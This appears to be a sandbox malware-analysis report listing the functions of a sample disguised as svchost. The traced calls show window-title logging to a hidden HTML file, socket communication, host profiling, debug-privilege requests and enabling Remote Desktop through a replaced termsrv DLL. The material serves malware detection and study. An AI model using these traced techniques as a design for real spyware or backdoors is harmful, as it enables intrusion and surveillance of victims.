lstrlenA.KERNEL32(00425AFC), ref: 0040937F
lstrlenA.KERNEL32(004251F0), ref: 0040938E
GetLocalTime.KERNEL32(?), ref: 00409399
wsprintfA.USER32 ref: 004093EE

Part of subcall function 00409270: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00409284
Part of subcall function 00409270: lstrcatA.KERNEL32(?,\MODIf.html,?,00000000), ref: 00409294
Part of subcall function 00409270: CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000080,00000000,?,00000000), ref: 004092B1
Part of subcall function 00409270: GetFileSize.KERNEL32 ref: 004092C4
Part of subcall function 00409270: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004092D8
Part of subcall function 00409270: lstrlenA.KERNEL32(?), ref: 004092E6
Part of subcall function 00409270: ??2@YAPAXI@Z.MSVCRT ref: 004092EF
Part of subcall function 00409270: lstrlenA.KERNEL32(?,?,00000000,00000000), ref: 00409315
Part of subcall function 00409270: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040931E
Part of subcall function 00409270: CloseHandle.KERNEL32(00000000), ref: 00409325

GetWindowTextA.USER32(00000000,00425AFC,00000400), ref: 00409430

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Filelstrlen$Window$??2@CloseCreateDirectoryForegroundHandleLocalPointerSizeSystemTextTimeWritelstrcatwsprintf
String ID:
API String ID: 565028712-0
Opcode ID: 89128bb96805826c10c1bbb66ed073d1db3aae89c0b0352c094490f14e4088a6
Instruction ID: e7b26e96f75901c0a1c194a0b729fa5e90ccb933367f609e910842766cdcb4f6
Opcode Fuzzy Hash: 89128bb96805826c10c1bbb66ed073d1db3aae89c0b0352c094490f14e4088a6
Instruction Fuzzy Hash: 1021B6723487036BD310DB54DC92FBB77A5EFC8700F548539B601922D5C5B9984A4B69

Function 00401700 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 90
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401B00: setsockopt.WS2_32(?,0000FFFF,00000080,74DF23A0), ref: 00401B2A
Part of subcall function 00401B00: CancelIo.KERNEL32(?), ref: 00401B37
Part of subcall function 00401B00: InterlockedExchange.KERNEL32(?,00000000), ref: 00401B46
Part of subcall function 00401B00: closesocket.WS2_32(?), ref: 00401B53
Part of subcall function 00401B00: SetEvent.KERNEL32(?), ref: 00401B60

ResetEvent.KERNEL32(?,00000000,74DF23A0,?,?,?,?,?,0040E904,?,00000035,?,00000000,?,00000000), ref: 00401713
socket.WS2_32(00000002,00000001,00000006), ref: 00401726
gethostbyname.WS2_32(?), ref: 00401737
htons.WS2_32(?), ref: 00401759
connect.WS2_32(?,?,00000010), ref: 0040177D

Strings

`, xrefs: 004017DA

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Event$CancelExchangeInterlockedResetclosesocketconnectgethostbynamehtonssetsockoptsocket
String ID: `
API String ID: 1101757307-1850852036
Opcode ID: 1134ecd09cd94406b4a66b8f18cc31b66a2bf8b15268be934bd7668aa011eb88
Instruction ID: 3e0f2f0ac55c807ad790ba340779d742ca6d08b63be9dd925c8a783f8e89fc89
Opcode Fuzzy Hash: 1134ecd09cd94406b4a66b8f18cc31b66a2bf8b15268be934bd7668aa011eb88
Instruction Fuzzy Hash: 6A31CF71244300BFE320DB64CC85FABBBE4AF89714F00891DF5999B2D0D6B0A4488BA6

Function 0040E730 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 40
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,00000008), ref: 0040E744
inet_addr.WS2_32(8.8.8.8), ref: 0040E753
DnsQuery_A.DNSAPI(032241EC,00000001,00000048,00000000,?,00000000), ref: 0040E774
inet_ntoa.WS2_32(?), ref: 0040E785
DnsRecordListFree.DNSAPI(?,00000001), ref: 0040E797
LocalFree.KERNEL32(00000000), ref: 0040E79D
Sleep.KERNELBASE(05265C00), ref: 0040E7A8

Strings

8.8.8.8, xrefs: 0040E748

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: FreeLocal$AllocListQuery_RecordSleepinet_addrinet_ntoa
String ID: 8.8.8.8
API String ID: 4250648121-3817307869
Opcode ID: 19e72b597dcda83056ab39e0d86c2942f6c7d5d81bb46eedc5bce1d840d32cb0
Instruction ID: abbadef5ac829372aa9a0484191102d85127b11c1b56f7c64a7cb9a714653607
Opcode Fuzzy Hash: 19e72b597dcda83056ab39e0d86c2942f6c7d5d81bb46eedc5bce1d840d32cb0
Instruction Fuzzy Hash: 52016271384300BFE3109F66DC85FA6B7E8EF48705F408419F618A72D1C7B898458B5D

Function 00401540 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401000: InitializeCriticalSection.KERNEL32(00000113,000000FF,0040156A,00000000), ref: 00401018

WSAStartup.WS2_32(00000202,?), ref: 004015AD
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004015BB

Strings

a, xrefs: 004015C6
i, xrefs: 004015CB
d, xrefs: 004015D0
b, xrefs: 004015C1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateCriticalEventInitializeSectionStartup
String ID: a$b$d$i
API String ID: 1327880603-1785370861
Opcode ID: e56c940ca909c68e308c1e975143e953dc87e5655ea68ce46c64835933e809b3
Instruction ID: bc67219ddf5f4b48306782dc98377956a63771750133c100ef7b93a147f4bb8f
Opcode Fuzzy Hash: e56c940ca909c68e308c1e975143e953dc87e5655ea68ce46c64835933e809b3
Instruction Fuzzy Hash: F9216D301497C0DEE321DB28C945BD6BBE4AB56B08F04C95EE4D9476D1C7B95008CB67

Function 00401D10 Relevance: 7.6, APIs: 5, Instructions: 76
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,74DF23A0,00000005,00000000), ref: 00401D42
Sleep.KERNEL32(00000064), ref: 00401D4E
Sleep.KERNEL32(0000000A), ref: 00401D70
send.WS2_32(?,74DF23A0,00000000,00000000), ref: 00401D95
Sleep.KERNELBASE(00000064), ref: 00401DA1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Sleep$send
String ID:
API String ID: 4079979460-0
Opcode ID: d421c99c9166cadf87364dc6b185a51b2ea19dce2c51796f576adf43b26f0e39
Instruction ID: 9e5cc635df342fcdfe6810474862e47184b98c4037ba672a15aefdf703b3cb23
Opcode Fuzzy Hash: d421c99c9166cadf87364dc6b185a51b2ea19dce2c51796f576adf43b26f0e39
Instruction Fuzzy Hash: BF21C3722443019BD304DF59DCC4B6BB7E8EF95720F244A3EF651932E1C774A8458B9A

Function 00401B00 Relevance: 7.5, APIs: 5, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,74DF23A0), ref: 00401B2A
CancelIo.KERNEL32(?), ref: 00401B37
InterlockedExchange.KERNEL32(?,00000000), ref: 00401B46
closesocket.WS2_32(?), ref: 00401B53
SetEvent.KERNEL32(?), ref: 00401B60

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 631dc59406b559c6f61b2739e35ac19f2d209961bc092501bf1c630fe0f0e1aa
Instruction ID: 140677395d3cca7c13c71eae5807f86f0d88719318cecb52297484c36729b388
Opcode Fuzzy Hash: 631dc59406b559c6f61b2739e35ac19f2d209961bc092501bf1c630fe0f0e1aa
Instruction Fuzzy Hash: 95F03675244701AFD714CFA0DC88FD777A8AF49711F108A1DF69A462D0CB7464488B5A

Function 004012A0 Relevance: 6.1, APIs: 4, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ceil.MSVCRT ref: 004012DA
_ftol.MSVCRT ref: 004012E2

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: _ftolceil
String ID:
API String ID: 2006273141-0
Opcode ID: 7b6203a122ec3bd232ba0b267988bdf841e6e64aecb34203cfef3b710889958d
Instruction ID: b9e72e171b811585a56d9889e87f64bd0b430d76b524ae0b14d69d631e41ea50
Opcode Fuzzy Hash: 7b6203a122ec3bd232ba0b267988bdf841e6e64aecb34203cfef3b710889958d
Instruction Fuzzy Hash: A511D6716442048BD704EF75EC8166BBBD0EB84751F00C43EFD459B381EA799808C6AA

Function 00414330 Relevance: 6.0, APIs: 4, Instructions: 39
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00414C48,00000000,?,0000000A), ref: 00414354
_beginthreadex.MSVCRT ref: 0041437C
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,0000000A), ref: 0041438D
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0000000A), ref: 00414398

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ChangeCloseCreateEventFindNotificationObjectSingleWait_beginthreadex
String ID:
API String ID: 3885598390-0
Opcode ID: ab6b4d70b4c09addbe0c64716575a6b1aa36de717ea85b7c15d0ebc7726d15cd
Instruction ID: 98213a1cd4d25268f386a69eaa73c997c2e275d023ef8f40f28af937e429e6ab
Opcode Fuzzy Hash: ab6b4d70b4c09addbe0c64716575a6b1aa36de717ea85b7c15d0ebc7726d15cd
Instruction Fuzzy Hash: 79011A74608341AFD300DF689C81F6BBBE4BBCC714F144A4CF998A7390C274D9048B96

Function 00401820 Relevance: 3.1, APIs: 2, Instructions: 68
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 0040187E
recv.WS2_32(?,?,00002000,00000000), ref: 004018B2

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: recvselect
String ID:
API String ID: 741273618-0
Opcode ID: 62d81e070fb27eac6000f90dd9840cbbfb7fbc7140e17a867cef536e004bd029
Instruction ID: 5d486c777f29c7c72ed20e4040bf1e58f24b0586f9c35f61b9cb48da5be69b34
Opcode Fuzzy Hash: 62d81e070fb27eac6000f90dd9840cbbfb7fbc7140e17a867cef536e004bd029
Instruction Fuzzy Hash: 0311067224030017D714EAA8DC95BEB73D4AF84320F004A3EFA14E72E1DB399949C36A

Function 00418860 Relevance: 1.3, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0041886A

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e465ffaf49cae0dfacb8c25a8c36ec9af7936667b32bb0bf723bba67081bfa3f
Instruction ID: bd4f06fcb1ba23187454ec4e0a82da77b0598dfa63caf01823f5a0491d452a28
Opcode Fuzzy Hash: e465ffaf49cae0dfacb8c25a8c36ec9af7936667b32bb0bf723bba67081bfa3f
Instruction Fuzzy Hash: A9B09275904201ABC604CB94E98980ABBA8AA90200F80C864F049C6020C234E1188A0A

Function 00418880 Relevance: 1.3, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT(?), ref: 00418885

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d2e3452179c4f7a50efd60a801616d05f140ae6f4a62a8ea8b54ea13c3986c17
Instruction ID: 88161f94d69cb5bb9f713f94d0d8a36e136521981cc807f2fc5092364e091d51
Opcode Fuzzy Hash: d2e3452179c4f7a50efd60a801616d05f140ae6f4a62a8ea8b54ea13c3986c17
Instruction Fuzzy Hash: DCA00475545101D7C50457D4DC4C4C57754D7441537104555F147D1470C774D4505715

Non-executed Functions

Function 00413550 Relevance: 147.4, APIs: 29, Strings: 55, Instructions: 435registryserviceCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00413583
sprintf.MSVCRT ref: 0041363D
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,?,?,?,?,00000000), ref: 00413684
RegQueryValueExA.ADVAPI32 ref: 004136B2
RegCloseKey.ADVAPI32(?), ref: 004136BD
GetTickCount.KERNEL32 ref: 004136ED
sprintf.MSVCRT ref: 0041373C
GetUserNameA.ADVAPI32(?,?), ref: 00413782
atol.MSVCRT(00000000), ref: 0041378E
atol.MSVCRT(00000000,00000000), ref: 0041379F
GetDriveTypeA.KERNEL32 ref: 004137CD
GetDiskFreeSpaceExA.KERNEL32(?,?,?,?), ref: 004137EC
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,?,?), ref: 0041384E
OpenServiceA.ADVAPI32(00000000,TermService,000F01FF,?,?,?), ref: 0041386F
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041388E
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041389F
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004138A2
wsprintfA.USER32 ref: 00413B55

Strings

2008, xrefs: 004135EA
m, xrefs: 00413A2D
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00413647
\, xrefs: 004139F9
i, xrefs: 00413A15
SeDebugPrivilege, xrefs: 00413A9B, 00413B1C
l, xrefs: 004139D3
T;B, xrefs: 00413600
Find CPU infomation error, xrefs: 004136C5
ServiceDll, xrefs: 00413974
termsrv_t, xrefs: 00413A50
i, xrefs: 004139EA
n, xrefs: 004139C1
2012, xrefs: 00413623, 00413636
\, xrefs: 004137C3
Windows %s SP%d, xrefs: 00413637
n, xrefs: 004139AE
v, xrefs: 00413A10
o, xrefs: 004139BC
Vista, xrefs: 004135E3
M, xrefs: 00413992
Win XP, xrefs: 00413904
o, xrefs: 004139CE
\, xrefs: 00413997
2008R2, xrefs: 00413607
E, xrefs: 0041398D
s, xrefs: 004139F4
%dDay %dHour %dMin, xrefs: 00413736
P;B, xrefs: 0041361A
OpenSCManager Error!, xrefs: 0041385A
\, xrefs: 00413A1F
\termsrv_t.dll, xrefs: 00413A8D
\, xrefs: 004139DC
T, xrefs: 00413988
v, xrefs: 004139E5
c, xrefs: 00413A1A
ProcessorNameString, xrefs: 004136A4
Y, xrefs: 00413983
RDP-Tcp, xrefs: 0041382C
C, xrefs: 004139B7
T, xrefs: 004139FE
m, xrefs: 00413A07
2003, xrefs: 004135C2
2000, xrefs: 004135AA
c, xrefs: 004139EF
u, xrefs: 004139A1
OpenService Error!, xrefs: 0041387B
BB, xrefs: 00413595
s, xrefs: 00413A3A
fDenyTSConnections, xrefs: 004138D1
QueryServiceStatus Error!, xrefs: 004138A4
SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 004138D6
TermService, xrefs: 00413869
C, xrefs: 0041399C
P, xrefs: 00413A24

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Service$CloseOpen$HandleQueryatolsprintf$CountDiskDriveFreeManagerNameSpaceStatusTickTypeUserValueVersionwsprintf
String ID: %dDay %dHour %dMin$2000$2003$2008$2008R2$2012$C$C$E$Find CPU infomation error$HARDWARE\DESCRIPTION\System\CentralProcessor\0$M$OpenSCManager Error!$OpenService Error!$P$P;B$ProcessorNameString$QueryServiceStatus Error!$RDP-Tcp$SYSTEM\CurrentControlSet\Control\Terminal Server$SeDebugPrivilege$ServiceDll$T$T$T;B$TermService$Vista$Win XP$Windows %s SP%d$Y$\$\$\$\$\$\termsrv_t.dll$c$c$fDenyTSConnections$i$i$l$m$m$n$n$o$o$s$s$termsrv_t$u$v$v$BB
API String ID: 158309192-1381625545
Opcode ID: 61fd7f7f1d64a3821e984e60c2dd4b356845b4a073faaf2373fbd2ec04288ee3
Instruction ID: 8205e4237d50e93a960413f9bba9b334e5a5e8ad554d89085792fbdca2671367
Opcode Fuzzy Hash: 61fd7f7f1d64a3821e984e60c2dd4b356845b4a073faaf2373fbd2ec04288ee3
Instruction Fuzzy Hash: 7DF1353160C3C0AAD321CB649C45BEBBFE5AFE1705F44485EF58947382D6B98A48C76B

Function 0040D5E0 Relevance: 59.9, APIs: 32, Strings: 2, Instructions: 375stringservicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000035,00000035,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88), ref: 0040D607
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000003,00000000,?,?,00002000,00000000), ref: 0040D62F
LocalAlloc.KERNEL32(00000040,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D63E
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000003,00000000,?,?,00002000,00000000), ref: 0040D659
LocalAlloc.KERNEL32(00000040,00000400,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D662
OpenServiceA.ADVAPI32(?,00000800,000F01FF,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040D6B5
QueryServiceConfig2A.ADVAPI32(00000000,00000001,?,00002000,00002000,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88), ref: 0040D6DC
lstrcpyA.KERNEL32(?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D706
lstrcpyA.KERNEL32(?,00423DB0,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D77D
QueryServiceConfigA.ADVAPI32(?,?,00002000,00002000,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF), ref: 0040D7BD
lstrcpyA.KERNEL32(?,00423DB0,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D836
LocalSize.KERNEL32(00000000), ref: 0040D865
LocalReAlloc.KERNEL32(00000000,00002001,00000042,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040D873
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D87F
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8A4
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8BA
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8DE
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8F1
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D90F
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D925
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D949
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D95F
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D983
lstrlenA.KERNEL32(QB,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D996
lstrlenA.KERNEL32(QB,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D9B0
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D9C5
lstrlenA.KERNEL32(?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D9E3
lstrlenA.KERNEL32(?,?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040D9F9
lstrlenA.KERNEL32(?,?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040DA1D
CloseServiceHandle.ADVAPI32(?,?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040DA30
CloseServiceHandle.ADVAPI32(00000000,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040DA5B
LocalReAlloc.KERNEL32(00000000,00000001,00000042,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040DA69

Strings

Boot, xrefs: 0040D7FC
QB, xrefs: 0040D989, 0040D98D

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$LocalService$Alloc$lstrcpy$CloseEnumHandleOpenQueryServicesStatus$ConfigConfig2ManagerSize
String ID: Boot$QB
API String ID: 3094984492-1857019833
Opcode ID: 7bdb34b261ed6d7298d7ca0ca04c206fed5ae67f417975c3baa1eab347d74354
Instruction ID: f4c2f51f0109dbcd15b760c547c6935d13549c68e74e242ab268d69da0caeddc
Opcode Fuzzy Hash: 7bdb34b261ed6d7298d7ca0ca04c206fed5ae67f417975c3baa1eab347d74354
Instruction Fuzzy Hash: 5FD19271648305AFC724DF64DC91EABB7E5FBC8704F40892DF54AA3280DB78A909CB56

Function 0040E410 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 185stringnetworkCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0040E44A

Part of subcall function 0040E3C0: LoadLibraryA.KERNEL32(ntdll.dll,00000000,00000000,0040E46D,?,?,?), ref: 0040E3C9
Part of subcall function 0040E3C0: GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 0040E3DB
Part of subcall function 0040E3C0: FreeLibrary.KERNEL32(00000000), ref: 0040E405

gethostname.WS2_32(?,00000100), ref: 0040E47D

Part of subcall function 0040E1D0: wsprintfA.USER32 ref: 0040E218
Part of subcall function 0040E1D0: lstrlenA.KERNEL32(?), ref: 0040E244
Part of subcall function 0040E1D0: lstrlenA.KERNEL32(?), ref: 0040E26B

Part of subcall function 0040E370: GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,0040E4B9), ref: 0040E37C
Part of subcall function 0040E370: GetProcAddress.KERNEL32(00000000), ref: 0040E383
Part of subcall function 0040E370: GetCurrentProcess.KERNEL32(0040E4B9,?,0040E4B9), ref: 0040E39A

GetTickCount.KERNEL32 ref: 0040E4C5
wsprintfA.USER32 ref: 0040E4EB
wsprintfA.USER32 ref: 0040E512
wsprintfA.USER32 ref: 0040E537
